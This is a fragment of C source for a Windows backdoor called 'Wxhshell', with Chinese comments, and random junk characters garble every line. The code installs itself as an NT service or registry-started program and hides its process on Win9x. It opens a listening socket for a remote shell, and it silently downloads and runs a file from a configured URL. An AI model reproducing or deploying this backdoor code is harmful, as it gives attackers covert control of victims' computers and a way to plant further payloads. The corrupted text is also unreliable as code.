} PROCESS_BASIC_INFORMATION; [3GKPX:OA/
M2a}x+5'
PROCNTQSIP NtQueryInformationProcess; x ru(Le}E
-fhAtxkg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QZqpF9Eu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q1K"%
4b]IazL)
HANDLE hProcess; @ 8A{ 9i
PROCESS_BASIC_INFORMATION pbi; 5X0_+DdeL
fYv ;TV>73
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s_x=^S3~LO
if(NULL == hInst ) return 0; "<7$2!
30t:O&2<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ks)fQFSbu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "[FCQ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3AX?B~s
=mDy@%yx!
if (!NtQueryInformationProcess) return 0; L;
@aE[#z
ftDVxKDE?S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r[Z g 2
if(!hProcess) return 0; Iwnj'R7:
DX]z=d)tc
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ky=(urAd
k9.u[y.
CloseHandle(hProcess); }M;sz
X`8Y[Vb3}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pT|./ Fe
if(hProcess==NULL) return 0; =>E44v
2
rbX8Y
HMODULE hMod; [YL sEo=
char procName[255]; WBIQ%XB'
unsigned long cbNeeded; (, ;MC/l
][s*~VK;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >b[4
(!^N~ =e;
CloseHandle(hProcess); (gs`=H*d;
\JF57t}Zk
if(strstr(procName,"services")) return 1; // 以服务启动 nS?S6G5h
m-Mhf;
return 0; // 注册表启动 PX+"" #
} p\4h$."
iPRJA{$b_
// 主模块 ]9!Gg
int StartWxhshell(LPSTR lpCmdLine) G <} 7vF
{ XRX7qo(0g
SOCKET wsl; /v<e$0~s<
BOOL val=TRUE; ~:'gvR;x
int port=0; J
tn&o"C
struct sockaddr_in door; o(S^1j5
B8P@D"u
if(wscfg.ws_autoins) Install(); Dg ?Ho2ih
@U7U?.p
port=atoi(lpCmdLine); +btP]?04
*<#]&2I
if(port<=0) port=wscfg.ws_port; <"j"h=tm}
{|t?
WSADATA data; /9t*CEu\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D*<8e?F
dja9XWOg
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z{<q0.^EFh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lx4H/[$6D
door.sin_family = AF_INET; l,~ N~?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); # UP,;W
door.sin_port = htons(port); b*$o[wO9
{Hrr:hC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OP\^c
closesocket(wsl); O~c+$(
return 1; tPMgZ
} 0|f_C3
8.
~Euz
if(listen(wsl,2) == INVALID_SOCKET) { btkMY<o7
closesocket(wsl); EHE6-^F
return 1; @i1 .5z
} -f
'q
Wxhshell(wsl); 8k*k
WSACleanup(); ]c~ rPi
n^I|}u\
return 0; 'h+4zvI"8
sIQMUC[!
} 0Zp<=\!;
.*clY
// 以NT服务方式启动 42H#n]Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -qr:c9\px
{ >u%[J!Y;;
DWORD status = 0; eN7yjd'Y6
DWORD specificError = 0xfffffff; PT=2LZ
!Dhfr{
serviceStatus.dwServiceType = SERVICE_WIN32; eQ4B5B%j/x
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \t7zMp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +q>C}9s3
serviceStatus.dwWin32ExitCode = 0; & t @
serviceStatus.dwServiceSpecificExitCode = 0; rUJSzLy
serviceStatus.dwCheckPoint = 0; ygu?w7
serviceStatus.dwWaitHint = 0; '~!l(&X
+&@l{x(,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RM/ s:
if (hServiceStatusHandle==0) return; 9EY_R&Yq%
>LRaIU>
status = GetLastError(); r>D[5B
if (status!=NO_ERROR) Y7IlqC`i
{ 2oNPR+
-
serviceStatus.dwCurrentState = SERVICE_STOPPED; &~f*q?xR
serviceStatus.dwCheckPoint = 0; Ky{I&}+R|
serviceStatus.dwWaitHint = 0; Mz#S5 s
serviceStatus.dwWin32ExitCode = status; ;Ef)7GE@\[
serviceStatus.dwServiceSpecificExitCode = specificError; /ux#U]x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A&@jA5Jb
return; 8Gzs
}
=z7Ay
n ;$}pg~
serviceStatus.dwCurrentState = SERVICE_RUNNING; pRyS8'
serviceStatus.dwCheckPoint = 0; ~wQ WWRk
serviceStatus.dwWaitHint = 0; bB[*\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vU=k8
} 7dL=E"WL
p>hCh5
// 处理NT服务事件,比如:启动、停止 :X'U`jE
VOID WINAPI NTServiceHandler(DWORD fdwControl) )SO1P6
{ V3Rnr8
switch(fdwControl) ]q\=
{ '$&(+>)z`
case SERVICE_CONTROL_STOP: h;h,dx
serviceStatus.dwWin32ExitCode = 0; iH -x
serviceStatus.dwCurrentState = SERVICE_STOPPED; P#'DG W&W0
serviceStatus.dwCheckPoint = 0; \6PIw-)
serviceStatus.dwWaitHint = 0; g\mrRZ/?
{ SGT-B.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "}Sid+)<
} f0s<Y
return; ^IegR>
case SERVICE_CONTROL_PAUSE: [!|d[
serviceStatus.dwCurrentState = SERVICE_PAUSED; !t
[%'!v
break; BsG[#4KM:
case SERVICE_CONTROL_CONTINUE: KARQKFp!C>
serviceStatus.dwCurrentState = SERVICE_RUNNING; LZ<(:S
break; Ab|NjY:
case SERVICE_CONTROL_INTERROGATE: bTYP{x~ y
break; 0GLB3I >
}; b`%e{99\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); za 4B+&JJ
} 7QRvl6cv
4Fht(B|
// 标准应用程序主函数 !wufoK
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "r(pK@h
{ p!5JO4F$
OKH~Y-%<
// 获取操作系统版本 InGbV+ I
OsIsNt=GetOsVer(); lbXkZ ,
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z.#glmw^=R
G"R>a w
// 从命令行安装 `x^,k%
:4
if(strpbrk(lpCmdLine,"iI")) Install(); 6xQe!d3>s3
fP4IOlHkE
// 下载执行文件 a5g{.:NfO
if(wscfg.ws_downexe) { RwLdV+2\R`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^oZs&+z
WinExec(wscfg.ws_filenam,SW_HIDE); L,ey3i7a\
}
61;5Yo
Wn</",Gf
if(!OsIsNt) { 1OGv+b)
// 如果时win9x,隐藏进程并且设置为注册表启动 g KY
,G
HideProc(); wEn&zZjx
StartWxhshell(lpCmdLine); ktJLpZ<0O
} (N>ew)Ke
else CX2q7azG
if(StartFromService()) :JG}%
// 以服务方式启动 *j; r|P;g
StartServiceCtrlDispatcher(DispatchTable); YuW\GSV00
else g?Ty5~:lq
// 普通方式启动 n\NDi22
StartWxhshell(lpCmdLine); xa axj
5nw9zW
:'
return 0; [ESQD5&
}